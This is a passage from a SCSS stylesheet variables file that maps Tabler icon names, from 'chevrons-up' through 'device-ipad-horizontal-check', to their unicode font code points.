unicode('ea65');\n$ti-icon-chevrons-up: unicode('ea66');\n$ti-icon-chevrons-up-left: unicode('ed0f');\n$ti-icon-chevrons-up-right: unicode('ed10');\n$ti-icon-chisel: unicode('f383');\n$ti-icon-christmas-ball: unicode('fd31');\n$ti-icon-christmas-tree: unicode('ed78');\n$ti-icon-christmas-tree-off: unicode('f3d5');\n$ti-icon-circle: unicode('ea6b');\n$ti-icon-circle-arrow-down: unicode('f6f9');\n$ti-icon-circle-arrow-down-filled: unicode('f6f4');\n$ti-icon-circle-arrow-down-left: unicode('f6f6');\n$ti-icon-circle-arrow-down-left-filled: unicode('f6f5');\n$ti-icon-circle-arrow-down-right: unicode('f6f8');\n$ti-icon-circle-arrow-down-right-filled: unicode('f6f7');\n$ti-icon-circle-arrow-left: unicode('f6fb');\n$ti-icon-circle-arrow-left-filled: unicode('f6fa');\n$ti-icon-circle-arrow-right: unicode('f6fd');\n$ti-icon-circle-arrow-right-filled: unicode('f6fc');\n$ti-icon-circle-arrow-up: unicode('f703');\n$ti-icon-circle-arrow-up-filled: unicode('f6fe');\n$ti-icon-circle-arrow-up-left: unicode('f700');\n$ti-icon-circle-arrow-up-left-filled: unicode('f6ff');\n$ti-icon-circle-arrow-up-right: unicode('f702');\n$ti-icon-circle-arrow-up-right-filled: unicode('f701');\n$ti-icon-circle-caret-down: unicode('f4a9');\n$ti-icon-circle-caret-left: unicode('f4aa');\n$ti-icon-circle-caret-right: unicode('f4ab');\n$ti-icon-circle-caret-up: unicode('f4ac');\n$ti-icon-circle-check: unicode('ea67');\n$ti-icon-circle-check-filled: unicode('f704');\n$ti-icon-circle-chevron-down: unicode('f622');\n$ti-icon-circle-chevron-left: unicode('f623');\n$ti-icon-circle-chevron-right: unicode('f624');\n$ti-icon-circle-chevron-up: unicode('f625');\n$ti-icon-circle-chevrons-down: unicode('f642');\n$ti-icon-circle-chevrons-left: unicode('f643');\n$ti-icon-circle-chevrons-right: unicode('f644');\n$ti-icon-circle-chevrons-up: unicode('f645');\n$ti-icon-circle-dashed: unicode('ed27');\n$ti-icon-circle-dashed-number-0: unicode('fc6b');\n$ti-icon-circle-dashed-number-1: unicode('fc6c');\n$ti-icon-circle-dashed-number-2: unicode('fc6d');\n$ti-icon-circle-dashed-number-3: unicode('fc6e');\n$ti-icon-circle-dashed-number-4: unicode('fc6f');\n$ti-icon-circle-dashed-number-5: unicode('fc70');\n$ti-icon-circle-dashed-number-6: unicode('fc71');\n$ti-icon-circle-dashed-number-7: unicode('fc72');\n$ti-icon-circle-dashed-number-8: unicode('fc73');\n$ti-icon-circle-dashed-number-9: unicode('fc74');\n$ti-icon-circle-dashed-percentage: unicode('fd7a');\n$ti-icon-circle-dashed-x: unicode('fc75');\n$ti-icon-circle-dot: unicode('efb1');\n$ti-icon-circle-dot-filled: unicode('f705');\n$ti-icon-circle-dotted: unicode('ed28');\n$ti-icon-circle-filled: unicode('f671');\n$ti-icon-circle-half: unicode('ee3f');\n$ti-icon-circle-half-2: unicode('eff3');\n$ti-icon-circle-half-vertical: unicode('ee3e');\n$ti-icon-circle-key: unicode('f633');\n$ti-icon-circle-key-filled: unicode('f706');\n$ti-icon-circle-letter-a: unicode('f441');\n$ti-icon-circle-letter-a-filled: unicode('fe7f');\n$ti-icon-circle-letter-b: unicode('f442');\n$ti-icon-circle-letter-b-filled: unicode('fe7e');\n$ti-icon-circle-letter-c: unicode('f443');\n$ti-icon-circle-letter-c-filled: unicode('fe7d');\n$ti-icon-circle-letter-d: unicode('f444');\n$ti-icon-circle-letter-d-filled: unicode('fe7c');\n$ti-icon-circle-letter-e: unicode('f445');\n$ti-icon-circle-letter-e-filled: unicode('fe7b');\n$ti-icon-circle-letter-f: unicode('f446');\n$ti-icon-circle-letter-f-filled: unicode('fe7a');\n$ti-icon-circle-letter-g: unicode('f447');\n$ti-icon-circle-letter-g-filled: unicode('fe79');\n$ti-icon-circle-letter-h: unicode('f448');\n$ti-icon-circle-letter-h-filled: unicode('fe78');\n$ti-icon-circle-letter-i: unicode('f449');\n$ti-icon-circle-letter-i-filled: unicode('fe77');\n$ti-icon-circle-letter-j: unicode('f44a');\n$ti-icon-circle-letter-j-filled: unicode('fe76');\n$ti-icon-circle-letter-k: unicode('f44b');\n$ti-icon-circle-letter-k-filled: unicode('fe75');\n$ti-icon-circle-letter-l: unicode('f44c');\n$ti-icon-circle-letter-l-filled: unicode('fe74');\n$ti-icon-circle-letter-m: unicode('f44d');\n$ti-icon-circle-letter-m-filled: unicode('fe73');\n$ti-icon-circle-letter-n: unicode('f44e');\n$ti-icon-circle-letter-n-filled: unicode('fe72');\n$ti-icon-circle-letter-o: unicode('f44f');\n$ti-icon-circle-letter-o-filled: unicode('fe71');\n$ti-icon-circle-letter-p: unicode('f450');\n$ti-icon-circle-letter-p-filled: unicode('fe70');\n$ti-icon-circle-letter-q: unicode('f451');\n$ti-icon-circle-letter-q-filled: unicode('fe6f');\n$ti-icon-circle-letter-r: unicode('f452');\n$ti-icon-circle-letter-r-filled: unicode('fe6e');\n$ti-icon-circle-letter-s: unicode('f453');\n$ti-icon-circle-letter-s-filled: unicode('fe6d');\n$ti-icon-circle-letter-t: unicode('f454');\n$ti-icon-circle-letter-t-filled: unicode('fe6c');\n$ti-icon-circle-letter-u: unicode('f455');\n$ti-icon-circle-letter-u-filled: unicode('fe6b');\n$ti-icon-circle-letter-v: unicode('f4ad');\n$ti-icon-circle-letter-v-filled: unicode('fe6a');\n$ti-icon-circle-letter-w: unicode('f456');\n$ti-icon-circle-letter-w-filled: unicode('fe69');\n$ti-icon-circle-letter-x: unicode('f4ae');\n$ti-icon-circle-letter-x-filled: unicode('fe68');\n$ti-icon-circle-letter-y: unicode('f457');\n$ti-icon-circle-letter-y-filled: unicode('fe67');\n$ti-icon-circle-letter-z: unicode('f458');\n$ti-icon-circle-letter-z-filled: unicode('fe66');\n$ti-icon-circle-minus: unicode('ea68');\n$ti-icon-circle-minus-2: unicode('fc8c');\n$ti-icon-circle-number-0: unicode('ee34');\n$ti-icon-circle-number-0-filled: unicode('f72f');\n$ti-icon-circle-number-1: unicode('ee35');\n$ti-icon-circle-number-1-filled: unicode('f730');\n$ti-icon-circle-number-2: unicode('ee36');\n$ti-icon-circle-number-2-filled: unicode('f731');\n$ti-icon-circle-number-3: unicode('ee37');\n$ti-icon-circle-number-3-filled: unicode('f732');\n$ti-icon-circle-number-4: unicode('ee38');\n$ti-icon-circle-number-4-filled: unicode('f733');\n$ti-icon-circle-number-5: unicode('ee39');\n$ti-icon-circle-number-5-filled: unicode('f734');\n$ti-icon-circle-number-6: unicode('ee3a');\n$ti-icon-circle-number-6-filled: unicode('f735');\n$ti-icon-circle-number-7: unicode('ee3b');\n$ti-icon-circle-number-7-filled: unicode('f736');\n$ti-icon-circle-number-8: unicode('ee3c');\n$ti-icon-circle-number-8-filled: unicode('f737');\n$ti-icon-circle-number-9: unicode('ee3d');\n$ti-icon-circle-number-9-filled: unicode('f738');\n$ti-icon-circle-off: unicode('ee40');\n$ti-icon-circle-percentage: unicode('fd7b');\n$ti-icon-circle-plus: unicode('ea69');\n$ti-icon-circle-plus-2: unicode('fc8d');\n$ti-icon-circle-rectangle: unicode('f010');\n$ti-icon-circle-rectangle-off: unicode('f0cd');\n$ti-icon-circle-square: unicode('ece4');\n$ti-icon-circle-triangle: unicode('f011');\n$ti-icon-circle-x: unicode('ea6a');\n$ti-icon-circle-x-filled: unicode('f739');\n$ti-icon-circles: unicode('ece5');\n$ti-icon-circles-filled: unicode('f672');\n$ti-icon-circles-relation: unicode('f4c3');\n$ti-icon-circuit-ammeter: unicode('f271');\n$ti-icon-circuit-battery: unicode('f272');\n$ti-icon-circuit-bulb: unicode('f273');\n$ti-icon-circuit-capacitor: unicode('f275');\n$ti-icon-circuit-capacitor-polarized: unicode('f274');\n$ti-icon-circuit-cell: unicode('f277');\n$ti-icon-circuit-cell-plus: unicode('f276');\n$ti-icon-circuit-changeover: unicode('f278');\n$ti-icon-circuit-diode: unicode('f27a');\n$ti-icon-circuit-diode-zener: unicode('f279');\n$ti-icon-circuit-ground: unicode('f27c');\n$ti-icon-circuit-ground-digital: unicode('f27b');\n$ti-icon-circuit-inductor: unicode('f27d');\n$ti-icon-circuit-motor: unicode('f27e');\n$ti-icon-circuit-pushbutton: unicode('f27f');\n$ti-icon-circuit-resistor: unicode('f280');\n$ti-icon-circuit-switch-closed: unicode('f281');\n$ti-icon-circuit-switch-open: unicode('f282');\n$ti-icon-circuit-voltmeter: unicode('f283');\n$ti-icon-clear-all: unicode('ee41');\n$ti-icon-clear-formatting: unicode('ebe5');\n$ti-icon-click: unicode('ebbc');\n$ti-icon-clipboard: unicode('ea6f');\n$ti-icon-clipboard-check: unicode('ea6c');\n$ti-icon-clipboard-copy: unicode('f299');\n$ti-icon-clipboard-data: unicode('f563');\n$ti-icon-clipboard-heart: unicode('f34e');\n$ti-icon-clipboard-list: unicode('ea6d');\n$ti-icon-clipboard-off: unicode('f0ce');\n$ti-icon-clipboard-plus: unicode('efb2');\n$ti-icon-clipboard-smile: unicode('fd9a');\n$ti-icon-clipboard-text: unicode('f089');\n$ti-icon-clipboard-typography: unicode('f34f');\n$ti-icon-clipboard-x: unicode('ea6e');\n$ti-icon-clock: unicode('ea70');\n$ti-icon-clock-12: unicode('fc56');\n$ti-icon-clock-2: unicode('f099');\n$ti-icon-clock-24: unicode('fc57');\n$ti-icon-clock-bolt: unicode('f844');\n$ti-icon-clock-cancel: unicode('f546');\n$ti-icon-clock-check: unicode('f7c1');\n$ti-icon-clock-code: unicode('f845');\n$ti-icon-clock-cog: unicode('f7c2');\n$ti-icon-clock-dollar: unicode('f846');\n$ti-icon-clock-down: unicode('f7c3');\n$ti-icon-clock-edit: unicode('f547');\n$ti-icon-clock-exclamation: unicode('f847');\n$ti-icon-clock-filled: unicode('f73a');\n$ti-icon-clock-heart: unicode('f7c4');\n$ti-icon-clock-hour-1: unicode('f313');\n$ti-icon-clock-hour-1-filled: unicode('fe65');\n$ti-icon-clock-hour-10: unicode('f314');\n$ti-icon-clock-hour-10-filled: unicode('fe64');\n$ti-icon-clock-hour-11: unicode('f315');\n$ti-icon-clock-hour-11-filled: unicode('fe63');\n$ti-icon-clock-hour-12: unicode('f316');\n$ti-icon-clock-hour-12-filled: unicode('fe62');\n$ti-icon-clock-hour-2: unicode('f317');\n$ti-icon-clock-hour-2-filled: unicode('fe61');\n$ti-icon-clock-hour-3: unicode('f318');\n$ti-icon-clock-hour-3-filled: unicode('fe60');\n$ti-icon-clock-hour-4: unicode('f319');\n$ti-icon-clock-hour-4-filled: unicode('fe5f');\n$ti-icon-clock-hour-5: unicode('f31a');\n$ti-icon-clock-hour-5-filled: unicode('fe5e');\n$ti-icon-clock-hour-6: unicode('f31b');\n$ti-icon-clock-hour-6-filled: unicode('fe5d');\n$ti-icon-clock-hour-7: unicode('f31c');\n$ti-icon-clock-hour-7-filled: unicode('fe5c');\n$ti-icon-clock-hour-8: unicode('f31d');\n$ti-icon-clock-hour-8-filled: unicode('fe5b');\n$ti-icon-clock-hour-9: unicode('f31e');\n$ti-icon-clock-hour-9-filled: unicode('fe5a');\n$ti-icon-clock-minus: unicode('f848');\n$ti-icon-clock-off: unicode('f0cf');\n$ti-icon-clock-pause: unicode('f548');\n$ti-icon-clock-pin: unicode('f849');\n$ti-icon-clock-play: unicode('f549');\n$ti-icon-clock-plus: unicode('f7c5');\n$ti-icon-clock-question: unicode('f7c6');\n$ti-icon-clock-record: unicode('f54a');\n$ti-icon-clock-search: unicode('f7c7');\n$ti-icon-clock-share: unicode('f84a');\n$ti-icon-clock-shield: unicode('f7c8');\n$ti-icon-clock-star: unicode('f7c9');\n$ti-icon-clock-stop: unicode('f54b');\n$ti-icon-clock-up: unicode('f7ca');\n$ti-icon-clock-x: unicode('f7cb');\n$ti-icon-clothes-rack: unicode('f285');\n$ti-icon-clothes-rack-off: unicode('f3d6');\n$ti-icon-cloud: unicode('ea76');\n$ti-icon-cloud-bolt: unicode('f84b');\n$ti-icon-cloud-cancel: unicode('f84c');\n$ti-icon-cloud-check: unicode('f84d');\n$ti-icon-cloud-code: unicode('f84e');\n$ti-icon-cloud-cog: unicode('f84f');\n$ti-icon-cloud-computing: unicode('f1d0');\n$ti-icon-cloud-data-connection: unicode('f1d1');\n$ti-icon-cloud-dollar: unicode('f850');\n$ti-icon-cloud-down: unicode('f851');\n$ti-icon-cloud-download: unicode('ea71');\n$ti-icon-cloud-exclamation: unicode('f852');\n$ti-icon-cloud-filled: unicode('f673');\n$ti-icon-cloud-fog: unicode('ecd9');\n$ti-icon-cloud-heart: unicode('f853');\n$ti-icon-cloud-lock: unicode('efdb');\n$ti-icon-cloud-lock-open: unicode('efda');\n$ti-icon-cloud-minus: unicode('f854');\n$ti-icon-cloud-network: unicode('fc78');\n$ti-icon-cloud-off: unicode('ed3e');\n$ti-icon-cloud-pause: unicode('f855');\n$ti-icon-cloud-pin: unicode('f856');\n$ti-icon-cloud-plus: unicode('f857');\n$ti-icon-cloud-question: unicode('f858');\n$ti-icon-cloud-rain: unicode('ea72');\n$ti-icon-cloud-search: unicode('f859');\n$ti-icon-cloud-share: unicode('f85a');\n$ti-icon-cloud-snow: unicode('ea73');\n$ti-icon-cloud-star: unicode('f85b');\n$ti-icon-cloud-storm: unicode('ea74');\n$ti-icon-cloud-up: unicode('f85c');\n$ti-icon-cloud-upload: unicode('ea75');\n$ti-icon-cloud-x: unicode('f85d');\n$ti-icon-clover: unicode('f1ea');\n$ti-icon-clover-2: unicode('f21e');\n$ti-icon-clubs: unicode('eff4');\n$ti-icon-clubs-filled: unicode('f674');\n$ti-icon-code: unicode('ea77');\n$ti-icon-code-asterisk: unicode('f312');\n$ti-icon-code-circle: unicode('f4ff');\n$ti-icon-code-circle-2: unicode('f4fe');\n$ti-icon-code-dots: unicode('f61a');\n$ti-icon-code-minus: unicode('ee42');\n$ti-icon-code-off: unicode('f0d0');\n$ti-icon-code-plus: unicode('ee43');\n$ti-icon-coffee: unicode('ef0e');\n$ti-icon-coffee-off: unicode('f106');\n$ti-icon-coffin: unicode('f579');\n$ti-icon-coin: unicode('eb82');\n$ti-icon-coin-bitcoin: unicode('f2be');\n$ti-icon-coin-bitcoin-filled: unicode('fd06');\n$ti-icon-coin-euro: unicode('f2bf');\n$ti-icon-coin-euro-filled: unicode('fd07');\n$ti-icon-coin-filled: unicode('fd08');\n$ti-icon-coin-monero: unicode('f4a0');\n$ti-icon-coin-monero-filled: unicode('fd09');\n$ti-icon-coin-off: unicode('f0d1');\n$ti-icon-coin-pound: unicode('f2c0');\n$ti-icon-coin-pound-filled: unicode('fd0a');\n$ti-icon-coin-rupee: unicode('f2c1');\n$ti-icon-coin-rupee-filled: unicode('fd0b');\n$ti-icon-coin-taka: unicode('fd0d');\n$ti-icon-coin-taka-filled: unicode('fd0c');\n$ti-icon-coin-yen: unicode('f2c2');\n$ti-icon-coin-yen-filled: unicode('fd0e');\n$ti-icon-coin-yuan: unicode('f2c3');\n$ti-icon-coin-yuan-filled: unicode('fd0f');\n$ti-icon-coins: unicode('f65d');\n$ti-icon-color-filter: unicode('f5a8');\n$ti-icon-color-picker: unicode('ebe6');\n$ti-icon-color-picker-off: unicode('f0d2');\n$ti-icon-color-swatch: unicode('eb61');\n$ti-icon-color-swatch-off: unicode('f0d3');\n$ti-icon-column-insert-left: unicode('ee44');\n$ti-icon-column-insert-right: unicode('ee45');\n$ti-icon-column-remove: unicode('faf4');\n$ti-icon-columns: unicode('eb83');\n$ti-icon-columns-1: unicode('f6d4');\n$ti-icon-columns-2: unicode('f6d5');\n$ti-icon-columns-3: unicode('f6d6');\n$ti-icon-columns-off: unicode('f0d4');\n$ti-icon-comet: unicode('ec76');\n$ti-icon-command: unicode('ea78');\n$ti-icon-command-off: unicode('f3d7');\n$ti-icon-compass: unicode('ea79');\n$ti-icon-compass-filled: unicode('fd10');\n$ti-icon-compass-off: unicode('f0d5');\n$ti-icon-components: unicode('efa5');\n$ti-icon-components-off: unicode('f0d6');\n$ti-icon-cone: unicode('efdd');\n$ti-icon-cone-2: unicode('efdc');\n$ti-icon-cone-2-filled: unicode('fe59');\n$ti-icon-cone-filled: unicode('fe58');\n$ti-icon-cone-off: unicode('f3d8');\n$ti-icon-cone-plus: unicode('fa94');\n$ti-icon-confetti: unicode('ee46');\n$ti-icon-confetti-off: unicode('f3d9');\n$ti-icon-confucius: unicode('f58a');\n$ti-icon-container: unicode('ee47');\n$ti-icon-container-off: unicode('f107');\n$ti-icon-contrast: unicode('ec4e');\n$ti-icon-contrast-2: unicode('efc7');\n$ti-icon-contrast-2-filled: unicode('fe57');\n$ti-icon-contrast-2-off: unicode('f3da');\n$ti-icon-contrast-filled: unicode('fe56');\n$ti-icon-contrast-off: unicode('f3db');\n$ti-icon-cooker: unicode('f57a');\n$ti-icon-cookie: unicode('fdb1');\n$ti-icon-cookie-filled: unicode('fe54');\n$ti-icon-cookie-man: unicode('fdb2');\n$ti-icon-cookie-man-filled: unicode('fe55');\n$ti-icon-cookie-off: unicode('f0d7');\n$ti-icon-copy: unicode('ea7a');\n$ti-icon-copy-check: unicode('fdb0');\n$ti-icon-copy-check-filled: unicode('fe53');\n$ti-icon-copy-minus: unicode('fdaf');\n$ti-icon-copy-minus-filled: unicode('fe52');\n$ti-icon-copy-off: unicode('f0d8');\n$ti-icon-copy-plus: unicode('fdae');\n$ti-icon-copy-plus-filled: unicode('fe51');\n$ti-icon-copy-x: unicode('fdad');\n$ti-icon-copy-x-filled: unicode('fe50');\n$ti-icon-copyleft: unicode('ec3d');\n$ti-icon-copyleft-filled: unicode('f73b');\n$ti-icon-copyleft-off: unicode('f0d9');\n$ti-icon-copyright: unicode('ea7b');\n$ti-icon-copyright-filled: unicode('f73c');\n$ti-icon-copyright-off: unicode('f0da');\n$ti-icon-corner-down-left: unicode('ea7c');\n$ti-icon-corner-down-left-double: unicode('ee48');\n$ti-icon-corner-down-right: unicode('ea7d');\n$ti-icon-corner-down-right-double: unicode('ee49');\n$ti-icon-corner-left-down: unicode('ea7e');\n$ti-icon-corner-left-down-double: unicode('ee4a');\n$ti-icon-corner-left-up: unicode('ea7f');\n$ti-icon-corner-left-up-double: unicode('ee4b');\n$ti-icon-corner-right-down: unicode('ea80');\n$ti-icon-corner-right-down-double: unicode('ee4c');\n$ti-icon-corner-right-up: unicode('ea81');\n$ti-icon-corner-right-up-double: unicode('ee4d');\n$ti-icon-corner-up-left: unicode('ea82');\n$ti-icon-corner-up-left-double: unicode('ee4e');\n$ti-icon-corner-up-right: unicode('ea83');\n$ti-icon-corner-up-right-double: unicode('ee4f');\n$ti-icon-cpu: unicode('ef8e');\n$ti-icon-cpu-2: unicode('f075');\n$ti-icon-cpu-off: unicode('f108');\n$ti-icon-crane: unicode('ef27');\n$ti-icon-crane-off: unicode('f109');\n$ti-icon-creative-commons: unicode('efb3');\n$ti-icon-creative-commons-by: unicode('f21f');\n$ti-icon-creative-commons-nc: unicode('f220');\n$ti-icon-creative-commons-nd: unicode('f221');\n$ti-icon-creative-commons-off: unicode('f10a');\n$ti-icon-creative-commons-sa: unicode('f222');\n$ti-icon-creative-commons-zero: unicode('f223');\n$ti-icon-credit-card: unicode('ea84');\n$ti-icon-credit-card-filled: unicode('fd11');\n$ti-icon-credit-card-off: unicode('ed11');\n$ti-icon-credit-card-pay: unicode('fd32');\n$ti-icon-credit-card-refund: unicode('fd33');\n$ti-icon-cricket: unicode('f09a');\n$ti-icon-crop: unicode('ea85');\n$ti-icon-crop-1-1: unicode('fd50');\n$ti-icon-crop-1-1-filled: unicode('fe4f');\n$ti-icon-crop-16-9: unicode('fd51');\n$ti-icon-crop-16-9-filled: unicode('fe4e');\n$ti-icon-crop-3-2: unicode('fd52');\n$ti-icon-crop-3-2-filled: unicode('fe4d');\n$ti-icon-crop-5-4: unicode('fd53');\n$ti-icon-crop-5-4-filled: unicode('fe4c');\n$ti-icon-crop-7-5: unicode('fd54');\n$ti-icon-crop-7-5-filled: unicode('fe4b');\n$ti-icon-crop-landscape: unicode('fd55');\n$ti-icon-crop-landscape-filled: unicode('fe4a');\n$ti-icon-crop-portrait: unicode('fd56');\n$ti-icon-crop-portrait-filled: unicode('fe49');\n$ti-icon-cross: unicode('ef8f');\n$ti-icon-cross-filled: unicode('f675');\n$ti-icon-cross-off: unicode('f10b');\n$ti-icon-crosshair: unicode('ec3e');\n$ti-icon-crown: unicode('ed12');\n$ti-icon-crown-off: unicode('ee50');\n$ti-icon-crutches: unicode('ef5b');\n$ti-icon-crutches-off: unicode('f10c');\n$ti-icon-crystal-ball: unicode('f57b');\n$ti-icon-csv: unicode('f791');\n$ti-icon-cube: unicode('fa97');\n$ti-icon-cube-3d-sphere: unicode('ecd7');\n$ti-icon-cube-3d-sphere-off: unicode('f3b5');\n$ti-icon-cube-off: unicode('fa95');\n$ti-icon-cube-plus: unicode('fa96');\n$ti-icon-cube-send: unicode('f61b');\n$ti-icon-cube-unfolded: unicode('f61c');\n$ti-icon-cup: unicode('ef28');\n$ti-icon-cup-off: unicode('f10d');\n$ti-icon-curling: unicode('efc8');\n$ti-icon-curly-loop: unicode('ecda');\n$ti-icon-currency: unicode('efa6');\n$ti-icon-currency-afghani: unicode('f65e');\n$ti-icon-currency-bahraini: unicode('ee51');\n$ti-icon-currency-baht: unicode('f08a');\n$ti-icon-currency-bitcoin: unicode('ebab');\n$ti-icon-currency-cent: unicode('ee53');\n$ti-icon-currency-dinar: unicode('ee54');\n$ti-icon-currency-dirham: unicode('ee55');\n$ti-icon-currency-dogecoin: unicode('ef4b');\n$ti-icon-currency-dollar: unicode('eb84');\n$ti-icon-currency-dollar-australian: unicode('ee56');\n$ti-icon-currency-dollar-brunei: unicode('f36c');\n$ti-icon-currency-dollar-canadian: unicode('ee57');\n$ti-icon-currency-dollar-guyanese: unicode('f36d');\n$ti-icon-currency-dollar-off: unicode('f3dc');\n$ti-icon-currency-dollar-singapore: unicode('ee58');\n$ti-icon-currency-dollar-zimbabwean: unicode('f36e');\n$ti-icon-currency-dong: unicode('f36f');\n$ti-icon-currency-dram: unicode('f370');\n$ti-icon-currency-ethereum: unicode('ee59');\n$ti-icon-currency-euro: unicode('eb85');\n$ti-icon-currency-euro-off: unicode('f3dd');\n$ti-icon-currency-florin: unicode('faf5');\n$ti-icon-currency-forint: unicode('ee5a');\n$ti-icon-currency-frank: unicode('ee5b');\n$ti-icon-currency-guarani: unicode('f371');\n$ti-icon-currency-hryvnia: unicode('f372');\n$ti-icon-currency-iranian-rial: unicode('fa58');\n$ti-icon-currency-kip: unicode('f373');\n$ti-icon-currency-krone-czech: unicode('ee5c');\n$ti-icon-currency-krone-danish: unicode('ee5d');\n$ti-icon-currency-krone-swedish: unicode('ee5e');\n$ti-icon-currency-lari: unicode('f374');\n$ti-icon-currency-leu: unicode('ee5f');\n$ti-icon-currency-lira: unicode('ee60');\n$ti-icon-currency-litecoin: unicode('ee61');\n$ti-icon-currency-lyd: unicode('f375');\n$ti-icon-currency-manat: unicode('f376');\n$ti-icon-currency-monero: unicode('f377');\n$ti-icon-currency-naira: unicode('ee62');\n$ti-icon-currency-nano: unicode('f7a6');\n$ti-icon-currency-off: unicode('f3de');\n$ti-icon-currency-paanga: unicode('f378');\n$ti-icon-currency-peso: unicode('f65f');\n$ti-icon-currency-pound: unicode('ebac');\n$ti-icon-currency-pound-off: unicode('f3df');\n$ti-icon-currency-quetzal: unicode('f379');\n$ti-icon-currency-real: unicode('ee63');\n$ti-icon-currency-renminbi: unicode('ee64');\n$ti-icon-currency-ripple: unicode('ee65');\n$ti-icon-currency-riyal: unicode('ee66');\n$ti-icon-currency-rubel: unicode('ee67');\n$ti-icon-currency-rufiyaa: unicode('f37a');\n$ti-icon-currency-rupee: unicode('ebad');\n$ti-icon-currency-rupee-nepalese: unicode('f37b');\n$ti-icon-currency-shekel: unicode('ee68');\n$ti-icon-currency-solana: unicode('f4a1');\n$ti-icon-currency-som: unicode('f37c');\n$ti-icon-currency-taka: unicode('ee69');\n$ti-icon-currency-tenge: unicode('f37d');\n$ti-icon-currency-tugrik: unicode('ee6a');\n$ti-icon-currency-won: unicode('ee6b');\n$ti-icon-currency-xrp: unicode('fd34');\n$ti-icon-currency-yen: unicode('ebae');\n$ti-icon-currency-yen-off: unicode('f3e0');\n$ti-icon-currency-yuan: unicode('f29a');\n$ti-icon-currency-zloty: unicode('ee6c');\n$ti-icon-current-location: unicode('ecef');\n$ti-icon-current-location-off: unicode('f10e');\n$ti-icon-cursor-off: unicode('f10f');\n$ti-icon-cursor-text: unicode('ee6d');\n$ti-icon-cut: unicode('ea86');\n$ti-icon-cylinder: unicode('f54c');\n$ti-icon-cylinder-off: unicode('fa98');\n$ti-icon-cylinder-plus: unicode('fa99');\n$ti-icon-dashboard: unicode('ea87');\n$ti-icon-dashboard-off: unicode('f3e1');\n$ti-icon-database: unicode('ea88');\n$ti-icon-database-cog: unicode('fa10');\n$ti-icon-database-dollar: unicode('fa11');\n$ti-icon-database-edit: unicode('fa12');\n$ti-icon-database-exclamation: unicode('fa13');\n$ti-icon-database-export: unicode('ee6e');\n$ti-icon-database-heart: unicode('fa14');\n$ti-icon-database-import: unicode('ee6f');\n$ti-icon-database-leak: unicode('fa15');\n$ti-icon-database-minus: unicode('fa16');\n$ti-icon-database-off: unicode('ee70');\n$ti-icon-database-plus: unicode('fa17');\n$ti-icon-database-search: unicode('fa18');\n$ti-icon-database-share: unicode('fa19');\n$ti-icon-database-smile: unicode('fd9b');\n$ti-icon-database-star: unicode('fa1a');\n$ti-icon-database-x: unicode('fa1b');\n$ti-icon-decimal: unicode('fa26');\n$ti-icon-deer: unicode('f4c5');\n$ti-icon-delta: unicode('f53c');\n$ti-icon-dental: unicode('f025');\n$ti-icon-dental-broken: unicode('f286');\n$ti-icon-dental-off: unicode('f110');\n$ti-icon-deselect: unicode('f9f3');\n$ti-icon-desk: unicode('fd35');\n$ti-icon-details: unicode('ee71');\n$ti-icon-details-off: unicode('f3e2');\n$ti-icon-device-airpods: unicode('f5a9');\n$ti-icon-device-airpods-case: unicode('f646');\n$ti-icon-device-airtag: unicode('fae6');\n$ti-icon-device-analytics: unicode('ee72');\n$ti-icon-device-audio-tape: unicode('ee73');\n$ti-icon-device-camera-phone: unicode('f233');\n$ti-icon-device-cctv: unicode('ee74');\n$ti-icon-device-cctv-off: unicode('f3e3');\n$ti-icon-device-computer-camera: unicode('ee76');\n$ti-icon-device-computer-camera-off: unicode('ee75');\n$ti-icon-device-desktop: unicode('ea89');\n$ti-icon-device-desktop-analytics: unicode('ee77');\n$ti-icon-device-desktop-bolt: unicode('f85e');\n$ti-icon-device-desktop-cancel: unicode('f85f');\n$ti-icon-device-desktop-check: unicode('f860');\n$ti-icon-device-desktop-code: unicode('f861');\n$ti-icon-device-desktop-cog: unicode('f862');\n$ti-icon-device-desktop-dollar: unicode('f863');\n$ti-icon-device-desktop-down: unicode('f864');\n$ti-icon-device-desktop-exclamation: unicode('f865');\n$ti-icon-device-desktop-heart: unicode('f866');\n$ti-icon-device-desktop-minus: unicode('f867');\n$ti-icon-device-desktop-off: unicode('ee78');\n$ti-icon-device-desktop-pause: unicode('f868');\n$ti-icon-device-desktop-pin: unicode('f869');\n$ti-icon-device-desktop-plus: unicode('f86a');\n$ti-icon-device-desktop-question: unicode('f86b');\n$ti-icon-device-desktop-search: unicode('f86c');\n$ti-icon-device-desktop-share: unicode('f86d');\n$ti-icon-device-desktop-star: unicode('f86e');\n$ti-icon-device-desktop-up: unicode('f86f');\n$ti-icon-device-desktop-x: unicode('f870');\n$ti-icon-device-floppy: unicode('eb62');\n$ti-icon-device-gamepad: unicode('eb63');\n$ti-icon-device-gamepad-2: unicode('f1d2');\n$ti-icon-device-gamepad-3: unicode('fc58');\n$ti-icon-device-heart-monitor: unicode('f060');\n$ti-icon-device-heart-monitor-filled: unicode('fa38');\n$ti-icon-device-imac: unicode('f7a7');\n$ti-icon-device-imac-bolt: unicode('f871');\n$ti-icon-device-imac-cancel: unicode('f872');\n$ti-icon-device-imac-check: unicode('f873');\n$ti-icon-device-imac-code: unicode('f874');\n$ti-icon-device-imac-cog: unicode('f875');\n$ti-icon-device-imac-dollar: unicode('f876');\n$ti-icon-device-imac-down: unicode('f877');\n$ti-icon-device-imac-exclamation: unicode('f878');\n$ti-icon-device-imac-heart: unicode('f879');\n$ti-icon-device-imac-minus: unicode('f87a');\n$ti-icon-device-imac-off: unicode('f87b');\n$ti-icon-device-imac-pause: unicode('f87c');\n$ti-icon-device-imac-pin: unicode('f87d');\n$ti-icon-device-imac-plus: unicode('f87e');\n$ti-icon-device-imac-question: unicode('f87f');\n$ti-icon-device-imac-search: unicode('f880');\n$ti-icon-device-imac-share: unicode('f881');\n$ti-icon-device-imac-star: unicode('f882');\n$ti-icon-device-imac-up: unicode('f883');\n$ti-icon-device-imac-x: unicode('f884');\n$ti-icon-device-ipad: unicode('f648');\n$ti-icon-device-ipad-bolt: unicode('f885');\n$ti-icon-device-ipad-cancel: unicode('f886');\n$ti-icon-device-ipad-check: unicode('f887');\n$ti-icon-device-ipad-code: unicode('f888');\n$ti-icon-device-ipad-cog: unicode('f889');\n$ti-icon-device-ipad-dollar: unicode('f88a');\n$ti-icon-device-ipad-down: unicode('f88b');\n$ti-icon-device-ipad-exclamation: unicode('f88c');\n$ti-icon-device-ipad-heart: unicode('f88d');\n$ti-icon-device-ipad-horizontal: unicode('f647');\n$ti-icon-device-ipad-horizontal-bolt: unicode('f88e');\n$ti-icon-device-ipad-horizontal-cancel: unicode('f88f');\n$ti-icon-device-ipad-horizontal-check: 